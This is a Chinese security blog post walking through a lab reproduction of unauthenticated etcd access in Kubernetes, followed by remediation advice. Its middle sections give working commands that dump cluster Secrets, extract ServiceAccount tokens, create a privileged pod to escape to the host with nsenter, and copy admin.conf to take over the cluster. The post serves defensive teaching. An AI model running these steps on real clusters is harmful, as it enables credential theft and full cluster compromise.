云原生未授权系列之etcd未授权:从读到Secret到接管集群"

admin 2026-10-18 04:01:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

云原生未授权系列之etcd未授权:从读到Secret到接管集群

原创

0x00
0x00

随笔漫记安全路

2026年8月19日 08:45
北京

在小说阅读器读本章

去阅读

声明:本文针对的是已公开、有官方修复方案的配置类安全问题(etcd 未授权访问)。所有操作均在本地靶机环境中完成,仅用于安全研究与防御学习。请勿对未授权目标进行测试。


一、漏洞背景

1.1 etcd 在 Kubernetes 中的角色

etcd 是 Kubernetes 集群的\"大脑\"——集群所有的状态数据都以键值对形式存储在其中,包括:

数据类型 etcd 中的路径前缀 泄露危害
Secret /registry/secrets/ 密码、私钥、ServiceAccount Token 全部明文可读
ConfigMap /registry/configmaps/ 应用配置、敏感参数
ServiceAccount /registry/serviceaccounts/ 账户信息
RBAC /registry/clusterrolebindings/ 权限绑定关系
Pod / Deployment /registry/pods/ 、/registry/deployments/ 工作负载定义
Node /registry/nodes/ 节点信息

etcd 默认监听两个端口:

  • 2379 —— client 端口,kube-apiserver 通过它读写数据
  • 2380 —— peer 端口,etcd 节点间通信

正常情况下,etcd 启用 mTLS 双向证书认证(--client-cert-auth=true),只有持有合法客户端证书的 kube-apiserver 才能访问。

1.2 漏洞成因

当运维配置不当时,etcd 可能以\"裸奔\"状态暴露:

  • 未启用 --client-cert-auth,任意能连到 2379 的客户端都可读写
  • --listen-client-urls 监听了 0.0.0.0,且 2379 被映射/暴露到内网甚至公网
  • 错误的 NetworkPolicy / 安全组放开了 2379

1.3 危害

攻击者无需任何凭证即可:

  1. 读取集群全部 Secret(含所有 ServiceAccount 的 JWT Token)
  2. 拿到高权限 Token 后访问 kube-apiserver,创建特权 Pod 逃逸到宿主机
  3. 读取宿主机上的 admin.conf,获得 cluster-admin,彻底接管集群

危害等级:高危(实际场景 CVSS 可达 9.x)

1.4 利用条件

这部分是复现前必须先搞清楚的——什么情况下这个链路才打得通。

条件 说明 本复现是否满足
2379 网络可达 攻击者能连到 etcd 的 client 端口(内网误暴露 / 公网映射 / NetworkPolicy 放开) ✅ kind 把 2379 映射到宿主机
client-cert-auth 未启用 etcd 不校验客户端证书,任意连接可读写。这是漏洞根因,非默认配置 ✅ 手动删掉 --client-cert-auth=true 复现
无需受害者交互 攻击者主动连接即可,不依赖任何用户点击 ✅ 纯主动利用
无需任何凭证 不需要证书、Token、密码,空手连 ✅ 零认证
读到可用 SA Token etcd 里存着所有 ServiceAccount 的 JWT,任取一个即可打 apiserver ✅ 集群默认就有 SA/Secret
SA 具备 pods/create 要创建特权 Pod 逃逸,拿到的 SA 需有创建 Pod 权限。本例模拟了常见的\"给 CI/CD 绑 cluster-admin\"过度授权 ✅ deploy SA 绑了 cluster-admin

关键判断:这不是默认可利用的漏洞,而是运维错误配置(关闭客户端证书认证 + 监听 0.0.0.0 + 网络暴露)叠加后才触发。但一旦触发,由于 etcd 存着全集群 Secret,后续接管几乎无门槛——这也是它危害等级极高的原因。

默认配置是否安全:kubeadm / kind 默认都启用 mTLS(--client-cert-auth=true),etcd 只监听 127.0.0.1:2379,默认是安全的。出问题的一定是被人改过配置。


二、环境搭建

使用 kind(Kubernetes in Docker)创建一个真实集群,然后刻意复现 etcd 未授权的错误配置。

2.1 安装工具

# kind
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x ./kind && sudo mv ./kind /usr/local/bin/kind

# kubectl
curl -LO \"https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl\"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# etcdctl
wget https://github.com/etcd-io/etcd/releases/download/v3.5.10/etcd-v3.5.10-linux-amd64.tar.gz
tar xzf etcd-v3.5.10-linux-amd64.tar.gz
sudo mv etcd-v3.5.10-linux-amd64/etcdctl /usr/local/bin/

2.2 创建集群(映射 2379 / 6443 到宿主机)

cat > kind-etcd.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraPortMappings:
  - containerPort: 2379
    hostPort: 2379
  - containerPort: 6443
    hostPort: 6443
EOF

kind create cluster --config kind-etcd.yaml --name etcd-lab

验证集群正常:

kubectl get nodes
# NAME                      STATUS   ROLES           AGE   VERSION
# etcd-lab-control-plane    Ready    control-plane   1m    v1.29.x

2.3 制造\"受害者画像\":一个过度授权的 ServiceAccount

现实中,大量集群存在给 CI/CD、监控、运维工具授予 cluster-admin 的过度授权 SA。这里复现这个常见条件,以便演示完整的\"读 Token → 接管\"链路。

# 创建一个名为 deploy 的 SA(模拟 CI/CD 服务账号)
kubectl create serviceaccount deploy -n default

# 给它 cluster-admin(模拟常见的过度授权)
kubectl create clusterrolebinding deploy-admin \\
  --clusterrole=cluster-admin \\
  --serviceaccount=default:deploy

# 为该 SA 创建一个长效 Token(1.24+ 需要手动创建 Secret 关联)
cat > sa-secret.yaml <<'EOF'
apiVersion: v1
kind: Secret
metadata:
  name: deploy-token
  namespace: default
  annotations:
    kubernetes.io/service-account.name: deploy
type: kubernetes.io/service-account-token
EOF
kubectl apply -f sa-secret.yaml

2.4 复现漏洞:关闭 etcd 客户端证书认证

kind 的 etcd 以静态 Pod形式运行,清单在控制面节点的 /etc/kubernetes/manifests/etcd.yaml。

# 进入控制面容器
docker exec -it etcd-lab-control-plane bash

# 备份原清单
cp /etc/kubernetes/manifests/etcd.yaml /etc/kubernetes/manifests/etcd.yaml.bak

# 编辑 etcd.yaml,做两处改动:
vi /etc/kubernetes/manifests/etcd.yaml

需要修改的参数(在 command 的 args 中):

# 改动 1:listen-client-urls 增加 0.0.0.0,让 2379 可从容器外访问
- --listen-client-urls=https://127.0.0.1:2379,https://0.0.0.0:2379

# 改动 2:删掉下面这一行,关闭客户端证书认证(漏洞根因)
# - --client-cert-auth=true

# 改动 3:advertise-client-urls 也加上 0.0.0.0(可选,保持一致)
- --advertise-client-urls=https://127.0.0.1:2379,https://0.0.0.0:2379

保留 --cert-file / --key-file(etcd 仍用 HTTPS,但不再校验客户端证书),这样 kube-apiserver 仍能正常工作,集群不会挂掉——这正是最危险、最隐蔽的真实场景。

保存退出。kubelet 会在 10~20 秒内自动重建 etcd Pod。等待其就绪:

# 退出容器
exit

# 等 etcd Pod 重建完成
kubectl -n kube-system get pod -l component=etcd -w

注意:0.0.0.0 的监听在容器内等价于\"所有网卡\",通过 kind 的 extraPortMappings,宿主机的 localhost:2379 即可直达 etcd——这就是\"内网误暴露\"的等价复现。


三、漏洞复现

攻击链全景

下图对应 3.1–3.7 各小节,六个阶段从\"发现端口\"到\"集群失守\",颜色越深表示威胁程度越高。

链路速读:发现2379 → 无凭证连入etcd → dump出SA Token → Token打apiserver → 特权Pod逃逸宿主机 → 读admin.conf接管集群。任一环节被防御切断,后续链路即断裂——这就是纵深防御的价值。

3.1 信息收集:发现 2379

# 模拟内网扫描
nmap -p 2379,2380,6443 127.0.0.1

# 2379/tcp open  etcd-client
# 6443/tcp open  ssl/sun-sr-https

3.2 验证未授权访问

# 无任何证书即可连通(关键特征:不需要 --cert/--key)
ETCDCTL_API=3 etcdctl \\
  --endpoints=https://127.0.0.1:2379 \\
  --insecure-skip-tls-verify \\
  endpoint health

# 127.0.0.1:2379 is healthy: successfully committed proposal

正常加固的 etcd,不带客户端证书会直接返回 rpc error: code = PermissionDenied。能 health 即说明 client-cert-auth 未启用。

3.3 dump 数据:列出所有 key

ETCDCTL_API=3 etcdctl \\
  --endpoints=https://127.0.0.1:2379 \\
  --insecure-skip-tls-verify \\
  get / --prefix --keys-only | head -50

部分输出:

/registry/configmaps/default/kube-root-ca.crt
/registry/secrets/default/deploy-token           ← 目标!
/registry/secrets/default/default-token-xxxxx
/registry/serviceaccounts/default/deploy
/registry/clusterrolebindings/deploy-admin
/registry/pods/kube-system/etcd-etcd-lab-control-plane
...

3.4 提取 ServiceAccount Token

etcd 中 Secret 的 value 是 protobuf 编码,但 JWT Token 本身是可打印字符串,且都以 ey 开头(JSON {\" 的 base64)。直接 grep 即可提取:

# dump 所有 secret,提取其中的 JWT
ETCDCTL_API=3 etcdctl \\
  --endpoints=https://127.0.0.1:2379 \\
  --insecure-skip-tls-verify \\
  get /registry/secrets --prefix \\
  | grep -aoE 'ey[A-Za-z0-9._-]{50,}\\.[A-Za-z0-9._-]{20,}\\.[A-Za-z0-9._-]{20,}' \\
  | sort -u

会得到若干 JWT。逐个解码头部确认:

TOKEN=\"eyJhbGciOiJSUzI1NiIsImtpZCI6....\"   # 替换为实际 token

# 解析 payload(第二段)
echo \"$TOKEN\" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .

payload 中 kubernetes.io 命名空间字段会标明该 token 属于哪个 SA / namespace:

{
  \"iss\": \"https://kubernetes.default.svc.cluster.local\",
  \"sub\": \"system:serviceaccount:default:deploy\",     ← 这就是那个过度授权的 SA
  \"kubernetes.io\": {
    \"namespace\": \"default\",
    \"serviceaccount\": { \"name\": \"deploy\", \"uid\": \"...\" }
  }
}

3.5 用 Token 接管 kube-apiserver

# 直接用 token 访问 API server(6443 已映射到宿主机)
kubectl --server=https://127.0.0.1:6443 \\
        --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" \\
        get nodes

# NAME                    STATUS   ROLES           AGE   VERSION
# etcd-lab-control-plane  Ready    control-plane   10m   v1.29.x

到这一步,集群已被\"读 + 控制权\"拿下。 但 token 是 default:deploy 这个 SA,虽然我们给了它 cluster-admin(模拟真实过度授权),下面演示通用逃逸手法——即便 SA 权限有限,只要有 pods/create 即可进一步拿到宿主机权限。

3.6 创建特权 Pod 逃逸到宿主机

cat > pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: pwn
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  nodeSelector:
    kubernetes.io/hostname: etcd-lab-control-plane
  tolerations:
  - key: node-role.kubernetes.io/control-plane
    operator: Exists
    effect: NoSchedule
  containers:
  - name: shell
    image: alpine
    command: [\"sleep\", \"3600\"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

kubectl --server=https://127.0.0.1:6443 \\
        --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" \\
        apply -f pwn.yaml

# 等待 Pod Running
kubectl --server=https://127.0.0.1:6443 --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" get pod pwn -w

进入 Pod,通过 nsenter 进入宿主机 1 号进程的命名空间(因为 hostPID + privileged):

kubectl --server=https://127.0.0.1:6443 --insecure-skip-tls-verify \\
        --token=\"$TOKEN\" exec -it pwn -- sh

# 容器内:
apk add --no-cache util-linux nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- sh

# 现在你已经在宿主机上,拥有 root 权限
hostname   # etcd-lab-control-plane  ← 这是宿主机
id         # uid=0(root)

3.7 读取 admin.conf —— 彻底接管集群

# 宿主机上,kubeadm 部署的集群 admin.conf 就放在这里
cat /etc/kubernetes/admin.conf

admin.conf 内含 cluster-admin 身份的客户端证书与私钥。把它拷贝出来:

# 宿主机上(通过 nsenter 进入的 shell)
cp /etc/kubernetes/admin.conf /host/tmp/admin.conf
exit  # 退出 nsenter,回到容器
exit  # 退出容器

# 宿主机(攻击机)上用该 kubeconfig 操作集群,真正\"接管\"
mkdir -p ~/.kube && cp /tmp/admin.conf ~/.kube/config
kubectl get nodes -o wide
kubectl get secrets --all-namespaces        # 任意 namespace 的 secret 随意读

至此完成 etcd 未授权 → 接管整个集群 的完整链路。


四、关键点解读

4.1 为什么 etcd 一裸奔,集群就等于失守?

etcd 是 Kubernetes 的\"唯一数据源(single source of truth)\"。它不像数据库有表级权限——任何能读写 etcd 的人,等同于绕过了 kube-apiserver 的全部认证授权:

  • 读 = 拿到所有 Secret(密码、Token、私钥)
  • 写 = 可以直接增删改任意 K8s 资源(理论上连伪造一个 cluster-admin 都行,只是 protobuf 编码有门槛)

所以社区的安全基线明确要求:etcd 必须启用 mTLS,且 2379 不得对非控制面节点开放。

4.2 JWT Token 为什么能直接当凭证?

Kubernetes 的 ServiceAccount Token 是由 kube-controller-manager 用 --service-account-private-key-file 签名的 JWT。kube-apiserver 只校验签名(公钥在 --service-account-key-file),不与 etcd 实时校验 Token 是否被吊销(1.21 之前是长效 Token,泄露后除非删除 SA/Secret 否则长期有效)。

因此从 etcd 里 dump 出来的 Token,可以直接拿去打 apiserver,这就是\"etcd 未授权\"远比\"普通数据库泄露\"严重的原因。

4.3 特权 Pod 逃逸原理

配置 作用
hostPID: true 容器与宿主机共享 PID 命名空间,能看到宿主机 PID 1
privileged: true 容器拥有几乎全部 capabilities,可执行 nsenter
hostPath: / 宿主机根文件系统挂载进容器,可读写任意文件
nsenter --target 1 进入 PID 1 的 mount/uts/ipc/net/pid 命名空间 = 回到宿主机环境

本质:K8s 的隔离依赖命名空间,privileged + hostPID 把这些命名空间全部\"拆掉\",容器即宿主机。


五、踩坑记录

问题 原因 解决
etcdctl 连接超时 etcd 默认只监听 127.0.0.1,即便映射了端口也连不上 必须改 listen-client-urls 包含 0.0.0.0(这正是漏洞配置)
改完 etcd.yaml 集群 API 报错 把 listen-client-urls 改成只剩 0.0.0.0,apiserver 连不上 保留 127.0.0.1 与 0.0.0.0 两个,apiserver 用本地环回仍可连
get /registry/secrets 输出乱码 Secret 在 etcd 中是 protobuf 编码,非 JSON 用 grep -aoE 'ey...' 提取可打印的 JWT,或用 --keys-only 先定位
提取的 Token 用不了 1.24+ 不再自动为 SA 生成长效 Token 需手动创建 type: kubernetes.io/service-account-token 的 Secret(见 2.3)
特权 Pod 一直 Pending 控制面节点有 NoSchedule 污点 加 tolerations 容忍 node-role.kubernetes.io/control-plane
nsenter 命令不存在 alpine 默认没装 apk add util-linux nsenter

六、修复与防御

6.1 立即修复(根治)

  1. 强制开启客户端证书认证(必须):
# /etc/kubernetes/manifests/etcd.yaml
- --client-cert-auth=true
- --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
- --cert-file=/etc/kubernetes/pki/etcd/server.crt
- --key-file=/etc/kubernetes/pki/etcd/server.key
  1. 限制监听地址,不要监听 0.0.0.0:
- --listen-client-urls=https://127.0.0.1:2379
  1. 网络层隔离:2379/2380 仅允许控制面节点之间互访,对业务网段、公网全部拒绝。
  • 云上:安全组仅放行控制面节点间的 2379/2380
  • 自建:iptables / NetworkPolicy 限制来源

6.2 纵深防御

层面 措施
etcd 静态加密 启用 EncryptionConfiguration,对 Secret 落盘加密。即便 etcd 被读,Secret 也是密文
RBAC 收敛 杜绝给 SA 直接绑 cluster-admin;用最小权限 Role,定期审计 clusterrolebindings
Token 短期化 升级到 1.24+ 默认的 BoundServiceAccountToken(有过期时间、受众绑定)
审计日志 开启 apiserver audit log,监控异常 token 使用、特权 Pod 创建
准入控制 用 PodSecurity Admission(pod-security.kubernetes.io)拒绝 privileged、hostPID、hostPath
定期扫描 用 kube-bench 跑 CIS 基线;用 kube-hunter 发现暴露的 2379

6.3 快速自检命令

# 1. 检查 etcd 是否启用了 client-cert-auth
docker exec etcd-lab-control-plane \\
  ps -ef | grep etcd | grep -o 'client-cert-auth=[a-z]*'
# 期望输出: client-cert-auth=true

# 2. 检查 2379 是否对外暴露(在非控制面机器上执行)
nc -zv <控制面IP> 2379
# 期望: Connection refused / timeout

# 3. 检查 Secret 是否加密落盘(读取应为密文)
ETCDCTL_API=3 etcdctl \\
  --endpoints=https://127.0.0.1:2379 \\
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \\
  --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \\
  --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \\
  get /registry/secrets/default/deploy-token
# 若启用了加密,看到的应是 k8s:enc:aescbc:... 开头的密文

七、总结

阶段 攻击者动作 防御者应做
入口 扫描发现 2379 开放 2379 网络隔离,不对外
突破 无凭证 dump etcd 强制 mTLS(client-cert-auth=true)
横向 提取 SA Token 打 apiserver Secret 静态加密 + Token 短期化
提升 特权 Pod 逃逸宿主机 PodSecurity 拒绝 privileged/hostPID
接管 读取 admin.conf admin.conf 严控,最小权限,审计告警

核心结论:etcd 未授权 = 集群失守的\"最快路径\"之一。它的修复成本极低(一行 client-cert-auth=true + 不监听 0.0.0.0),但一旦疏忽,危害是全量数据泄露 + 集群被接管。务必作为集群安全基线的必查项。


附录:清理环境

kind delete cluster --name etcd-lab
rm -f kind-etcd.yaml sa-secret.yaml pwn.yaml ~/.kube/config

参考

  • Kubernetes 官方安全文档:https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/[1]
  • etcd 安全模型:https://etcd.io/docs/v3.5/op-guide/security/[2]
  • CIS Kubernetes Benchmark(ETCD 相关条目)

引用链接

[1]https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

[2]https://etcd.io/docs/v3.5/op-guide/security/


云原生未授权系列之etcd未授权:从读到Secret到接管集群" 网络安全文章

云原生未授权系列之etcd未授权:从读到Secret到接管集群"

本文分析了etcd未授权访问漏洞在Kubernetes集群中的危害与利用条件。etcd作为集群状态存储核心,若因运维错误关闭客户端证书认证并暴露2379端口,攻击者无需凭证即可读取全部Secret,包括高权限ServiceAccount的JWTToken。利用该Token可访问kube-apiserver创建特权Pod逃逸至宿主机,最终读取admin.conf接管集群。默认配置安全,漏洞源于错误配置叠加,纵深防御可阻断攻击链。
天狐工具箱框架V4.0-轻便版-二改介绍" 网络安全文章

天狐工具箱框架V4.0-轻便版-二改介绍"

本文介绍基于天狐渗透工具箱二次改造的轻便版框架。核心改动聚焦界面与交互优化,涵盖卡片缩放、双击启动、参数前后置分离及命令预览。同时增强拼音与模糊搜索排序,启动速度提升至一秒内。该框架不含运行环境,需自备依赖,适合需定制化管理的安全人员参考使用。
一款AI自动化测试工具ARTEX" 网络安全文章

一款AI自动化测试工具ARTEX"

ARTEX是一款AI驱动的自主渗透测试系统,支持资产同步、任务管理和多种安装方式(Docker、本地编译、预编译二进制)。它依赖PostgreSQL和LLM配置,提供仪表盘、会话记录和拦截审批功能,可简化资产安全测试流程。推荐使用一键安装脚本快速部署。
手机验证码是你最后一道门,谁要都不能给" 网络安全文章

手机验证码是你最后一道门,谁要都不能给"

本文强调手机验证码是账户安全的最后一道门,任何电话、短信或聊天中要求提供验证码的行为100%是诈骗。骗子通过扮演客服、警察等身份制造压力,诱骗用户主动交出验证码,从而盗取账户资金。核心防范铁律是验证码谁要都不能给,遇到索要验证码立即挂断并自行核实。建议向家中老人反复强调这一原则,并保持冷静、不轻信权威。
评论:0   参与:  0